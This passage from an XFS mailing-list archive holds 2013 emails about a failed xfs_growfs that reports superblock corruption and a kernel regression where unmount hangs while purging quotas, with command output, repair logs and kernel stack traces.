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 ------=_NextPart_000_1C46_01CE83AF.277445D0-- From Andreas.Klauer@metamorpher.de Thu Jul 18 06:04:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 061697F4E for ; Thu, 18 Jul 2013 06:04:44 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id EA4B9304051 for ; Thu, 18 Jul 2013 04:04:40 -0700 (PDT) X-ASG-Debug-ID: 1374145478-04cb6c2a47e78a30001-NocioJ Received: from smtprelay05.ispgateway.de (smtprelay05.ispgateway.de [80.67.31.100]) by cuda.sgi.com with ESMTP id DdylbEjWq1isv07l (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 18 Jul 2013 04:04:39 -0700 (PDT) X-Barracuda-Envelope-From: Andreas.Klauer@metamorpher.de X-Barracuda-Apparent-Source-IP: 80.67.31.100 Received: from [217.229.2.200] (helo=localhost) by smtprelay05.ispgateway.de with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.68) (envelope-from ) id 1Uzm0j-0001fW-FK for xfs@oss.sgi.com; Thu, 18 Jul 2013 13:04:37 +0200 Date: Thu, 18 Jul 2013 13:04:37 +0200 From: Andreas Klauer To: xfs@oss.sgi.com Subject: xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning Message-ID: <20130718110437.GA8090@EIS> X-ASG-Orig-Subj: xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Df-Sender: bXNtdHBAbWV0YW1vcnBoZXIuZGU= X-Barracuda-Connect: smtprelay05.ispgateway.de[80.67.31.100] X-Barracuda-Start-Time: 1374145479 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137113 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi, having some problems growing XFS, using Linux 3.10.1 x86_64, xfsprogs 3.1.11. The filesystem is on LVM, and I made the volume larger. I did this several times before and it never causes any issue. This time, trying to grow the filesystem failed and it seemed corrupt. xfs_repair restored its original size somehow (even though shrinking is not supposed to be possible?). Unfortunately I did not save the output of the commands the first time around, but the issue is reproducable in its current state. If anyone could tell me what I'm doing wrong? # mount > /dev/mapper/lvm-xfs on /mnt/xfs type xfs (rw) # df -h > /dev/mapper/lvm-xfs 2.0T 1.9T 102G 95% /mnt/xfs # blockdev --getsize64 /dev/lvm/xfs > 2306397437952 # xfs_info /mnt/xfs > meta-data=/dev/mapper/lvm-xfs isize=256 agcount=16, agsize=32768000 blks > = sectsz=4096 attr=2 > data = bsize=4096 blocks=524288000, imaxpct=25 > = sunit=0 swidth=0 blks > naming =version 2 bsize=4096 ascii-ci=0 > log =internal bsize=4096 blocks=32768, version=2 > = sectsz=4096 sunit=1 blks, lazy-count=1 > realtime =none extsz=4096 blocks=0, rtextents=0 # xfs_growfs /mnt/xfs > meta-data=/dev/mapper/lvm-xfs isize=256 agcount=16, agsize=32768000 blks > = sectsz=4096 attr=2 > data = bsize=4096 blocks=524288000, imaxpct=25 > = sunit=0 swidth=0 blks > naming =version 2 bsize=4096 ascii-ci=0 > log =internal bsize=4096 blocks=32768, version=2 > = sectsz=4096 sunit=1 blks, lazy-count=1 > realtime =none extsz=4096 blocks=0, rtextents=0 > xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning > data blocks changed from 524288000 to 563085312 # umount /mnt/xfs # mount /dev/lvm/xfs /mnt/xfs # df -h > /dev/mapper/lvm-xfs 2.1T 1.9T 250G 89% /mnt/xfs # xfs_info /mnt/xfs > meta-data=/dev/mapper/lvm-xfs isize=256 agcount=18, agsize=32768000 blks > = sectsz=4096 attr=2 > data = bsize=4096 blocks=563085312, imaxpct=25 > = sunit=0 swidth=0 blks > naming =version 2 bsize=4096 ascii-ci=0 > log =internal bsize=4096 blocks=32768, version=2 > = sectsz=4096 sunit=1 blks, lazy-count=1 > realtime =none extsz=4096 blocks=0, rtextents=0 # umount /mnt/xfs # xfs_repair -v /dev/lvm/xfs > Phase 1 - find and verify superblock... > writing modified primary superblock > Phase 2 - using internal log > - zero log... > - scan filesystem freespace and inode maps... > primary/secondary superblock 4 conflict - AG superblock geometry info conflicts with filesystem geometry > reset bad sb for ag 4 > primary/secondary superblock 2 conflict - AG superblock geometry info conflicts with filesystem geometry > reset bad sb for ag 2 > primary/secondary superblock 1 conflict - AG superblock geometry info conflicts with filesystem geometry > reset bad sb for ag 1 > primary/secondary superblock 3 conflict - AG superblock geometry info conflicts with filesystem geometry > reset bad sb for ag 3 > sb_icount 0, counted 8704 > sb_ifree 0, counted 854 > sb_fdblocks 0, counted 26540703 > - found root inode chunk > Phase 3 - for each AG... > - scan and clear agi unlinked lists... > - process known inodes and perform inode discovery... > - agno = 0 > - agno = 1 > - agno = 2 > - agno = 3 > - agno = 4 > - agno = 5 > - agno = 6 > - agno = 7 > - agno = 8 > - agno = 9 > - agno = 10 > - agno = 11 > - agno = 12 > - agno = 13 > - agno = 14 > - agno = 15 > - process newly discovered inodes... > Phase 4 - check for duplicate blocks... > - setting up duplicate extent list... > - check for inodes claiming duplicate blocks... > - agno = 0 > - agno = 1 > - agno = 2 > - agno = 3 > - agno = 4 > - agno = 5 > - agno = 6 > - agno = 7 > - agno = 8 > - agno = 9 > - agno = 10 > - agno = 11 > - agno = 12 > - agno = 13 > - agno = 14 > - agno = 15 > Phase 5 - rebuild AG headers and trees... > - reset superblock... > Phase 6 - check inode connectivity... > - resetting contents of realtime bitmap and summary inodes > - traversing filesystem ... > - traversal finished ... > - moving disconnected inodes to lost+found ... > Phase 7 - verify and correct link counts... > done # mount /dev/lvm/xfs /mnt/xfs # df -h > /dev/mapper/lvm-xfs 2.0T 1.9T 102G 95% /mnt/xfs # xfs_growfs /mnt/xfs > meta-data=/dev/mapper/lvm-xfs isize=256 agcount=16, agsize=32768000 blks > = sectsz=4096 attr=2 > data = bsize=4096 blocks=524288000, imaxpct=25 > = sunit=0 swidth=0 blks > naming =version 2 bsize=4096 ascii-ci=0 > log =internal bsize=4096 blocks=32768, version=2 > = sectsz=4096 sunit=1 blks, lazy-count=1 > realtime =none extsz=4096 blocks=0, rtextents=0 > xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning > data blocks changed from 524288000 to 563085312 Back to square one and rinse and repeat. 1) What does "XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning" mean? 2) Should I reformat or any way to repair/grow properly? Thanks Andreas Klauer From david@fromorbit.com Thu Jul 18 06:09:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A8F037F4E for ; Thu, 18 Jul 2013 06:09:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 381D5AC00A for ; Thu, 18 Jul 2013 04:09:39 -0700 (PDT) X-ASG-Debug-ID: 1374145776-04cbb0468e111fd40001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 6HLBzMXBSdcSbsaB for ; Thu, 18 Jul 2013 04:09:37 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkQQANHK51F5LK4r/2dsb2JhbABagwYBvAyFLwQBgQ4XdIJkHCMYJDQFJQM0iA+2ZhaOR4EdHYJ3bgOXW5FOgyQq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail07.adl2.internode.on.net with ESMTP; 18 Jul 2013 20:39:33 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Uzm5T-0001kG-CI; Thu, 18 Jul 2013 21:09:31 +1000 Date: Thu, 18 Jul 2013 21:09:31 +1000 From: Dave Chinner To: xfs@oss.sgi.com Cc: Chandra Seetharaman Subject: [regression 3.11-rc1] unmount hanging purging quotas Message-ID: <20130718110931.GA13468@dastard> X-ASG-Orig-Subj: [regression 3.11-rc1] unmount hanging purging quotas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374145776 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137113 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Chandra, I'm seeing xfs/050 hanging on a current oss-xfs master tree during unmount getting stuck purging dquots. it basically loops there forever. Have you seen anything like this recently? # echo w > /proc/sysrq-trigger [ 5179.063824] SysRq : Show Blocked State [ 5179.064895] task PC stack pid father [ 5179.066459] umount D ffff88007fd13280 5592 27782 26800 0x00000000 [ 5179.067478] ffff88007b747b98 0000000000000046 ffff8800524e4500 ffff88007b747fd8 [ 5179.067478] ffff88007b747fd8 ffff88007b747fd8 ffff88007c83dc00 ffff8800524e4500 [ 5179.067478] ffff88007b747b88 ffff88007b747bd0 ffff88007c858000 0000000100129cb6 [ 5179.067478] Call Trace: [ 5179.067478] [] schedule+0x29/0x70 [ 5179.067478] [] schedule_timeout+0x10b/0x1f0 [ 5179.067478] [] ? usleep_range+0x50/0x50 [ 5179.067478] [] ? xfs_qm_need_dqattach+0x80/0x80 [ 5179.067478] [] schedule_timeout_uninterruptible+0x1e/0x20 [ 5179.067478] [] xfs_qm_dquot_walk+0x19b/0x1b0 [ 5179.067478] [] ? _raw_spin_lock_irqsave+0x24/0x30 [ 5179.067478] [] ? do_raw_spin_unlock+0x5d/0xb0 [ 5179.067478] [] ? flush_work+0x34/0x160 [ 5179.067478] [] ? del_timer+0x54/0x70 [ 5179.067478] [] ? try_to_grab_pending+0xd1/0x190 [ 5179.067478] [] xfs_qm_dqpurge_all+0x40/0x90 [ 5179.067478] [] xfs_qm_unmount+0x25/0x40 [ 5179.067478] [] xfs_unmountfs+0x7c/0x120 [ 5179.067478] [] xfs_fs_put_super+0x25/0x60 [ 5179.067478] [] generic_shutdown_super+0x61/0xf0 [ 5179.067478] [] kill_block_super+0x30/0x80 [ 5179.067478] [] deactivate_locked_super+0x4d/0x80 [ 5179.067478] [] deactivate_super+0x4e/0x70 [ 5179.067478] [] mntput_no_expire+0x101/0x160 [ 5179.067478] [] SyS_umount+0x9c/0x3a0 [ 5179.067478] [] system_call_fastpath+0x16/0x1b Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Jul 18 06:13:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AD4B87F4E for ; Thu, 18 Jul 2013 06:13:11 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9D5DE304051 for ; Thu, 18 Jul 2013 04:13:11 -0700 (PDT) X-ASG-Debug-ID: 1374145989-04cb6c2a42e79550001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id VHG2o0CaooYGxGCR for ; Thu, 18 Jul 2013 04:13:09 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjoPAFPM51F5LK4r/2dsb2JhbABagwa8DYUvBAGBDhd0giMBAQQBOhwjEAgDGAklDwUlAyETiAoFtmgWjkeBHQeDDW4Dl1uKI4crgyQq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail07.adl2.internode.on.net with ESMTP; 18 Jul 2013 20:43:08 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Uzm8x-0001kR-0M; Thu, 18 Jul 2013 21:13:07 +1000 Date: Thu, 18 Jul 2013 21:13:06 +1000 From: Dave Chinner To: Andreas Klauer Cc: xfs@oss.sgi.com Subject: Re: xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning Message-ID: <20130718111306.GB13468@dastard> X-ASG-Orig-Subj: Re: xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning References: <20130718110437.GA8090@EIS> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130718110437.GA8090@EIS> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374145989 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137113 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jul 18, 2013 at 01:04:37PM +0200, Andreas Klauer wrote: > Hi, > > having some problems growing XFS, using Linux 3.10.1 x86_64, xfsprogs 3.1.11. > > The filesystem is on LVM, and I made the volume larger. I did this several > times before and it never causes any issue. > > This time, trying to grow the filesystem failed and it seemed corrupt. > xfs_repair restored its original size somehow (even though shrinking is > not supposed to be possible?). Unfortunately I did not save the output > of the commands the first time around, but the issue is reproducable > in its current state. > > If anyone could tell me what I'm doing wrong? > > # mount > > /dev/mapper/lvm-xfs on /mnt/xfs type xfs (rw) > > # df -h > > /dev/mapper/lvm-xfs 2.0T 1.9T 102G 95% /mnt/xfs > > # blockdev --getsize64 /dev/lvm/xfs > > 2306397437952 > > # xfs_info /mnt/xfs > > meta-data=/dev/mapper/lvm-xfs isize=256 agcount=16, agsize=32768000 blks > > = sectsz=4096 attr=2 > > data = bsize=4096 blocks=524288000, imaxpct=25 > > = sunit=0 swidth=0 blks > > naming =version 2 bsize=4096 ascii-ci=0 > > log =internal bsize=4096 blocks=32768, version=2 > > = sectsz=4096 sunit=1 blks, lazy-count=1 > > realtime =none extsz=4096 blocks=0, rtextents=0 > > # xfs_growfs /mnt/xfs > > meta-data=/dev/mapper/lvm-xfs isize=256 agcount=16, agsize=32768000 blks > > = sectsz=4096 attr=2 > > data = bsize=4096 blocks=524288000, imaxpct=25 > > = sunit=0 swidth=0 blks > > naming =version 2 bsize=4096 ascii-ci=0 > > log =internal bsize=4096 blocks=32768, version=2 > > = sectsz=4096 sunit=1 blks, lazy-count=1 > > realtime =none extsz=4096 blocks=0, rtextents=0 > > xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning > > data blocks changed from 524288000 to 563085312 What's in dmesg? > > Phase 2 - using internal log > > - zero log... > > - scan filesystem freespace and inode maps... > > primary/secondary superblock 4 conflict - AG superblock geometry info conflicts with filesystem geometry > > reset bad sb for ag 4 > > primary/secondary superblock 2 conflict - AG superblock geometry info conflicts with filesystem geometry > > reset bad sb for ag 2 > > primary/secondary superblock 1 conflict - AG superblock geometry info conflicts with filesystem geometry > > reset bad sb for ag 1 > > primary/secondary superblock 3 conflict - AG superblock geometry info conflicts with filesystem geometry > > reset bad sb for ag 3 > > sb_icount 0, counted 8704 > > sb_ifree 0, counted 854 > > sb_fdblocks 0, counted 26540703 So it looks like it got to AG 5 and failed for some reason.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From Andreas.Klauer@metamorpher.de Thu Jul 18 06:29:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 862467F37 for ; Thu, 18 Jul 2013 06:29:47 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 115D8AC001 for ; Thu, 18 Jul 2013 04:29:46 -0700 (PDT) X-ASG-Debug-ID: 1374146980-04cbb046901121230001-NocioJ Received: from smtprelay03.ispgateway.de (smtprelay03.ispgateway.de [80.67.18.15]) by cuda.sgi.com with ESMTP id IeR1X6xjBsYJcGgk (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 18 Jul 2013 04:29:41 -0700 (PDT) X-Barracuda-Envelope-From: Andreas.Klauer@metamorpher.de X-Barracuda-Apparent-Source-IP: 80.67.18.15 Received: from [217.229.2.200] (helo=localhost) by smtprelay03.ispgateway.de with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.68) (envelope-from ) id 1UzmOx-0006Vg-66; Thu, 18 Jul 2013 13:29:39 +0200 Date: Thu, 18 Jul 2013 13:29:39 +0200 From: Andreas Klauer To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning Message-ID: <20130718112938.GB8090@EIS> X-ASG-Orig-Subj: Re: xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning References: <20130718110437.GA8090@EIS> <20130718111306.GB13468@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130718111306.GB13468@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Df-Sender: bXNtdHBAbWV0YW1vcnBoZXIuZGU= X-Barracuda-Connect: smtprelay03.ispgateway.de[80.67.18.15] X-Barracuda-Start-Time: 1374146981 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137115 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jul 18, 2013 at 09:13:06PM +1000, Dave Chinner wrote: > What's in dmesg? I forgot to check. *blush* [ 8004.578647] ffff8801d16f5000: 58 46 53 42 00 00 10 00 00 00 00 00 1f 40 00 00 XFSB.........@.. [ 8004.578652] ffff8801d16f5010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ [ 8004.578654] ffff8801d16f5020: cb fe 0d 27 44 d9 43 67 85 17 0a 28 35 68 0e f2 ...'D.Cg...(5h.. [ 8004.578656] ffff8801d16f5030: 00 00 00 00 04 00 00 07 00 00 00 00 00 00 00 c0 ................ [ 8004.578660] XFS (dm-19): Internal error xfs_sb_read_verify at line 730 of file fs/xfs/xfs_mount.c. Caller 0xffffffff811e99bd [ 8004.578663] CPU: 1 PID: 80 Comm: kworker/1:1H Not tainted 3.10.1 #1 [ 8004.578665] Hardware name: /DP35DP, BIOS DPP3510J.86A.0572.2009.0715.2346 07/15/2009 [ 8004.578671] Workqueue: xfslogd xfs_buf_iodone_work [ 8004.578674] ffffffff81655f86 0000000000000072 ffffffff811eb542 ffffffff811e99bd [ 8004.578677] ffff8802000002da ffff8802312be5fd ffff8801c67f4a80 0000000000000075 [ 8004.578680] ffff88021c04f800 0000000000001000 ffffffff8123764c ffffffff811e99bd [ 8004.578683] Call Trace: [ 8004.578688] [] ? dump_stack+0xd/0x17 [ 8004.578692] [] ? xfs_corruption_error+0x62/0x90 [ 8004.578700] [] ? xfs_buf_iodone_work+0x8d/0xb0 [ 8004.578702] [] ? xfs_sb_read_verify+0x11c/0x130 [ 8004.578704] [] ? xfs_buf_iodone_work+0x8d/0xb0 [ 8004.578706] [] ? xfs_buf_iodone_work+0x8d/0xb0 [ 8004.578709] [] ? process_one_work+0x13a/0x3b0 [ 8004.578711] [] ? worker_thread+0x116/0x370 [ 8004.578713] [] ? manage_workers.isra.29+0x290/0x290 [ 8004.578715] [] ? kthread+0xb3/0xc0 [ 8004.578718] [] ? posix_cpu_timer_set+0xf0/0x300 [ 8004.578719] [] ? kthread_create_on_node+0x120/0x120 [ 8004.578722] [] ? ret_from_fork+0x7c/0xb0 [ 8004.578724] [] ? kthread_create_on_node+0x120/0x120 [ 8004.578725] XFS (dm-19): Corruption detected. Unmount and run xfs_repair [ 8004.578731] XFS (dm-19): metadata I/O error: block 0x4e200000 ("xfs_trans_read_buf_map") error 117 numblks 8 [ 8004.578734] XFS (dm-19): error 117 reading secondary superblock for ag 5 > So it looks like it got to AG 5 and failed for some reason.... Thanks for your quick reply! I'm also getting panics for other XFS filesystems which I didn't even grow nor touch in any other way: [ 8920.597875] XFS (dm-16): xfs_iread: validation failed for inode 275419712 failed [ 8920.597880] ffff88014e46a000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................ [ 8920.597881] ffff88014e46a010: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................ [ 8920.597883] ffff88014e46a020: ff ff ff ff 00 00 00 00 45 30 45 07 00 00 00 00 ........E0E..... [ 8920.597884] ffff88014e46a030: 4d d5 25 2c 32 a7 01 56 00 00 00 00 00 00 21 01 M.%,2..V......!. [ 8920.597886] XFS (dm-16): Internal error xfs_iread at line 1062 of file fs/xfs/xfs_inode.c. Caller 0xffffffff811f0b1e [ 8920.597889] CPU: 0 PID: 3913 Comm: dar Not tainted 3.10.1 #1 [ 8920.597890] Hardware name: /DP35DP, BIOS DPP3510J.86A.0572.2009.0715.2346 07/15/2009 [ 8920.597892] ffffffff81655f86 000000000000006a ffffffff811eb542 ffffffff811f0b1e [ 8920.597894] 0000000000000426 ffffffff81699314 0000000000000075 ffff880190bd30c0 [ 8920.597896] ffff88021ccd9000 0000000000000000 ffffffff8122fe92 ffffffff811f0b1e [ 8920.597898] Call Trace: [ 8920.597903] [] ? dump_stack+0xd/0x17 [ 8920.597907] [] ? xfs_corruption_error+0x62/0x90 [ 8920.597910] [] ? xfs_iget+0x2de/0x5b0 [ 8920.597913] [] ? xfs_iread+0xf2/0x2c0 [ 8920.597915] [] ? xfs_iget+0x2de/0x5b0 [ 8920.597917] [] ? kmem_zone_alloc+0x5e/0xe0 [ 8920.597919] [] ? xfs_iget+0x2de/0x5b0 [ 8920.597921] [] ? xfs_lookup+0xb7/0xe0 [ 8920.597923] [] ? xfs_vn_lookup+0x45/0x90 [ 8920.597926] [] ? lookup_dcache+0xa3/0xd0 [ 8920.597928] [] ? lookup_real+0x14/0x50 [ 8920.597930] [] ? 